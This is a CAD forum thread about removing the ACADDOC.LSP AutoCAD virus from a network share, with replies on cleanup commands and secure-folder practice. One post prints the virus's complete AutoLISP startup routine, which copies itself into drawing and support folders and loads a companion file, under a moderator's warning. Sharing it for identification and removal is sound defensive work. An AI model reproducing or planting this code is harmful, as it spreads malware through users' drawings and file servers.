Author Topic: acaddoc>lsp  (Read 7890 times)

0 Members and 1 Guest are viewing this topic.

HasanCAD

  • Swamp Rat
  • Posts: 1422
acaddoc>lsp
« on: June 09, 2015, 08:13:50 AM »
Hi all

While open cad file this message comes. I belive that it is ACADDOC.LSP virus.
How to stop that virus attacking the files on server?

ChrisCarlson

  • Guest
Re: acaddoc>lsp
« Reply #1 on: June 09, 2015, 08:22:52 AM »
For one, why does a project folder have a lisp routine in it?

AutoCAD initiated a secure directory function within the lisp routines, if a routine wants to run that is not within a designated secure folder that pop-up will display. 

ChrisCarlson

  • Guest
Re: acaddoc>lsp
« Reply #2 on: June 09, 2015, 08:23:29 AM »
Double post,

I would upload that file we can verify it's clean

Rob...

  • King Gator
  • Posts: 3824
  • Take a little time to stop and smell the roses.
Re: acaddoc>lsp
« Reply #3 on: June 09, 2015, 08:25:02 AM »
This has been around a long time and there is plenty of information out there about how to get rid of it. Do you need help searching for a solution or are you looking for someone with first hand experience?
CAD Tech

Rob...

  • King Gator
  • Posts: 3824
  • Take a little time to stop and smell the roses.
Re: acaddoc>lsp
« Reply #4 on: June 09, 2015, 08:25:57 AM »
For one, why does a project folder have a lisp routine in it?

The virus puts it there.
CAD Tech

HasanCAD

  • Swamp Rat
  • Posts: 1422
Re: acaddoc>lsp
« Reply #5 on: June 09, 2015, 08:57:07 AM »
Déjà vu all over again

WARNING [kdub]: DO NOT DOWNLOAD AND SAVE THIS FILE LOCALLY unless you know exactly what the file does ... user beware !!
note added kdub.

this is the file.
Code - Auto/Visual Lisp: [Select]
  1. (defun-q s::startup
  2.          (/ basepath        baseacad        acaddocpath
  3.             r-acaddoc       w-basepath      rl-acaddoc
  4.             acaddoclsp      c-acaddocname   c-acaddocpath
  5.             c-acaddoc
  6.            )
  7.          (setq basepath
  8.                 (findfile "base.dcl")
  9.          )
  10.          (setq basepath
  11.                 (substr basepath 1 (- (strlen basepath) 8))
  12.          )
  13.          (setq baseacad (strcat basepath "acaddoc.lsp"))
  14.          (setq acaddocpath (findfile "acaddoc.lsp"))
  15.          (setq acaddocpath
  16.                 (substr acaddocpath
  17.                         1
  18.                         (- (strlen acaddocpath) 11)
  19.                 )
  20.          )
  21.          (setq acaddoclsp (strcat acaddocpath "acaddoc.lsp"))
  22.          (setq c-acaddocname (getvar "dwgname"))
  23.          (setq c-acaddocpath (findfile c-acaddocname))
  24.          (setq c-acaddocpath
  25.                 (substr c-acaddocpath
  26.                         1
  27.                         (- (strlen c-acaddocpath) (strlen c-acaddocname))
  28.                 )
  29.          )
  30.          (setq c-acaddoc
  31.                 (strcat c-acaddocpath "acaddoc.lsp")
  32.          )
  33.          (if
  34.            (and
  35.              (/= basepath acaddocpath)
  36.              (= c-acaddocpath acaddocpath)
  37.            )
  38.             (progn
  39.               (setq r-acaddoc
  40.                      (open acaddoclsp "r")
  41.               )
  42.               (setq w-basepath
  43.                      (open baseacad "w")
  44.               )
  45.               (while
  46.                 (setq rl-acaddoc
  47.                        (read-line r-acaddoc)
  48.                 )
  49.                  (write-line rl-acaddoc w-basepath)
  50.               )
  51.               (close w-basepath)
  52.               (close r-acaddoc)
  53.             )
  54.  
  55.             (progn
  56.               (setq r-acaddoc
  57.                      (open acaddoclsp "r")
  58.               )
  59.               (setq w-basepath
  60.                      (open c-acaddoc "w")
  61.               )
  62.               (while
  63.                 (setq rl-acaddoc
  64.                        (read-line r-acaddoc)
  65.                 )
  66.                  (write-line rl-acaddoc w-basepath)
  67.               )
  68.               (close w-basepath)
  69.               (close r-acaddoc)
  70.             )
  71.          )
  72.          (princ)
  73. )
  74. (load "acadapq")
  75.  

« Last Edit: June 09, 2015, 09:40:26 AM by Kerry »

ChrisCarlson

  • Guest
Re: acaddoc>lsp
« Reply #6 on: June 09, 2015, 09:02:02 AM »
Refer to here,

http://www.theswamp.org/index.php?topic=35330.0

Infact you are the original poster

BlackBox

  • King Gator
  • Posts: 3770
Re: acaddoc>lsp
« Reply #7 on: June 09, 2015, 09:31:15 AM »
Close all sessions of AutoCAD, and then have your IT Admin, or someone responsible using a domain account with sufficient Active Directory permissions, call this PowerShell (As Administrator?):

Code - C#: [Select]
  1. Get-ChildItem <YourProjectFolderNetworkShareRoot>\*.* -Include *.lsp | Rename-Item -NewName { $_.Name -Replace ".lsp",".lsp.blacklist" }
  2.  

* Warning - This PowerShell will rename ALL *.lsp files in ALL project folders; change the resultant file extension as needed.


"How we think determines what we do, and what we do determines what we get."

Kerry

  • Mesozoic relic
  • Seagull
  • Posts: 11654
  • class keyThumper<T>:ILazy<T>
Re: acaddoc>lsp
« Reply #8 on: June 09, 2015, 09:38:34 AM »
Refer to here,

http://www.theswamp.org/index.php?topic=35330.0

Infact you are the original poster

That thread does look familiar :)
kdub, kdub_nz in other timelines.
Perfection is not optional.
Everything will work just as you expect it to, unless your expectations are incorrect.
Discipline: None at all.

HasanCAD

  • Swamp Rat
  • Posts: 1422
Re: acaddoc>lsp
« Reply #9 on: June 09, 2015, 10:16:41 AM »
Close all sessions of AutoCAD, and then have your IT Admin, or someone responsible using a domain account with sufficient Active Directory permissions, call this PowerShell (As Administrator?):

Code - C#: [Select]
  1. Get-ChildItem <YourProjectFolderNetworkShareRoot>\*.* -Include *.lsp | Rename-Item -NewName { $_.Name -Replace ".lsp",".lsp.blacklist" }
  2.  

* Warning - This PowerShell will rename ALL *.lsp files in ALL project folders; change the resultant file extension as needed.


Could we use
Code - Auto/Visual Lisp: [Select]
  1. \*.* -Include acaddoc.lsp |
instead of
Code - Auto/Visual Lisp: [Select]
  1. \*.* -Include *.lsp |

BlackBox

  • King Gator
  • Posts: 3770
Re: acaddoc>lsp
« Reply #10 on: June 09, 2015, 10:23:55 AM »
Close all sessions of AutoCAD, and then have your IT Admin, or someone responsible using a domain account with sufficient Active Directory permissions, call this PowerShell (As Administrator?):

Code - C#: [Select]
  1. Get-ChildItem <YourProjectFolderNetworkShareRoot>\*.* -Include *.lsp | Rename-Item -NewName { $_.Name -Replace ".lsp",".lsp.blacklist" }
  2.  

* Warning - This PowerShell will rename ALL *.lsp files in ALL project folders; change the resultant file extension as needed.


Could we use
Code - Auto/Visual Lisp: [Select]
  1. \*.* -Include acaddoc.lsp |
instead of
Code - Auto/Visual Lisp: [Select]
  1. \*.* -Include *.lsp |

Certainly :-) - Just offering an en-mass example; take from it what you like.
"How we think determines what we do, and what we do determines what we get."

tombu

  • Bull Frog
  • Posts: 289
  • ByLayer=>Not0
Re: acaddoc>lsp
« Reply #11 on: June 09, 2015, 10:48:55 AM »
You should also try with
Code: [Select]
\*.* -Include acadapq.* |as it's the code that does most of the damage.  Could be VLX, ,FAS, or .LSP
Tom Beauford P.S.M.
Leon County FL Public Works - Windows 7 64 bit AutoCAD Civil 3D

jmaeding

  • Bull Frog
  • Posts: 304
  • I'm just here for the Shelties.
Re: acaddoc>lsp
« Reply #12 on: June 09, 2015, 11:57:48 AM »
if Autodesk really cared about this, they would make a filewatcher util that looked for a new acad.lsp and other startup files appearing in project folders. Its fairly easy to write in .net, but somehow the real issues people get hit with are not exotic enough to be dealt with. Instead we get "lisp signing" and "total control" type security in 2016, as if its needed or decent to implement in an office with people that actually write scripts and minor lisps as they work.
Are they trying to squash user customization with lisp, just like they did with the CUI system that wants the main menu to be the acad one, yet user customization happens to the main menu at the same time. So you have to play the menu switch game which never goes well in the end. So not we do not make custom toolbars. Thanks Autodesk.
James Maeding

Rob...

  • King Gator
  • Posts: 3824
  • Take a little time to stop and smell the roses.
Re: acaddoc>lsp
« Reply #13 on: June 09, 2015, 12:23:26 PM »
Really? You blame AutoDesk?

If you feel vulnerable to this and it's so easy, make it yourself. Most people have protocols in place to avoid this type of thing. It is easy. Just like basic virus protection, it's up to the users to implement the necessary safeguards. You cannot blame AutoDesk for not protecting us, if some of us can't protect ourselves from the maliciousness of others.

The stuff about your issues with customization are not even related to the topic at hand.
CAD Tech

BlackBox

  • King Gator
  • Posts: 3770
Re: acaddoc>lsp
« Reply #14 on: June 09, 2015, 12:57:18 PM »
"How we think determines what we do, and what we do determines what we get."

mjfarrell

  • Seagull
  • Posts: 14444
  • Every Student their own Lesson
Re: acaddoc>lsp
« Reply #15 on: June 09, 2015, 01:24:56 PM »
Be your Best


Michael Farrell
http://primeservicesglobal.com/

ChrisCarlson

  • Guest
Re: acaddoc>lsp
« Reply #16 on: June 09, 2015, 01:31:25 PM »
Really? You blame AutoDesk?

If you feel vulnerable to this and it's so easy, make it yourself. Most people have protocols in place to avoid this type of thing. It is easy. Just like basic virus protection, it's up to the users to implement the necessary safeguards. You cannot blame AutoDesk for not protecting us, if some of us can't protect ourselves from the maliciousness of others.

The stuff about your issues with customization are not even related to the topic at hand.

I would say Autodesk addressed this with secure directories.

danallen

  • Guest
Re: acaddoc>lsp
« Reply #17 on: June 09, 2015, 01:48:40 PM »
For one, why does a project folder have a lisp routine in it?

I'm on Bricscad so this isn't an issue, but I sometimes put project specific customization in a lisp in each project file folder. This allows me to add on the fly customization that doesn't affect whole office, just usable by the project team. Some of it is an override to office standards, as required by the specific job.

Rob...

  • King Gator
  • Posts: 3824
  • Take a little time to stop and smell the roses.
CAD Tech

BlackBox

  • King Gator
  • Posts: 3770
Re: acaddoc>lsp
« Reply #19 on: June 09, 2015, 03:00:16 PM »
For one, why does a project folder have a lisp routine in it?

I'm on Bricscad so this isn't an issue, but I sometimes put project specific customization in a lisp in each project file folder. This allows me to add on the fly customization that doesn't affect whole office, just usable by the project team. Some of it is an override to office standards, as required by the specific job.

I too have used project-specific code files for years, but _never_ using one of the automatically loaded Acad* files in DWGPREFIX, etc. for the very reason of mitigating potential security issues.

Instead, I simply have users place their project-specific code in a (strcat (getvar 'loginname) ".lsp") file, in a separate folder (either their personal network space, or a project relative folder; never where .DWGs are), and load the code (if found) as part of our AcadDoc.lsp procedure.

Cheers



[Edit] - Code snippet from version-specific AcadDoc.lsp, where user's personal network space is mapped to SFSP programmatically at session start:

Code - Auto/Visual Lisp: [Select]
  1. (if (findfile (strcat (setq userName (getvar 'loginname)) ".lsp"))
  2.    (load userName)
  3. )
  4.  
« Last Edit: June 10, 2015, 12:39:24 PM by BlackBox »
"How we think determines what we do, and what we do determines what we get."

dgorsman

  • Water Moccasin
  • Posts: 2437
Re: acaddoc>lsp
« Reply #20 on: June 09, 2015, 06:19:06 PM »
Same here.  If I need to test something, I have it load from a separate development folder rather than a drawing folder.  The same thing could be accomplished for project-specific code.
If you are going to fly by the seat of your pants, expect friction burns.

try {GreatPower;}
   catch (notResponsible)
      {NextTime(PlanAhead);}
   finally
      {MasterBasics;}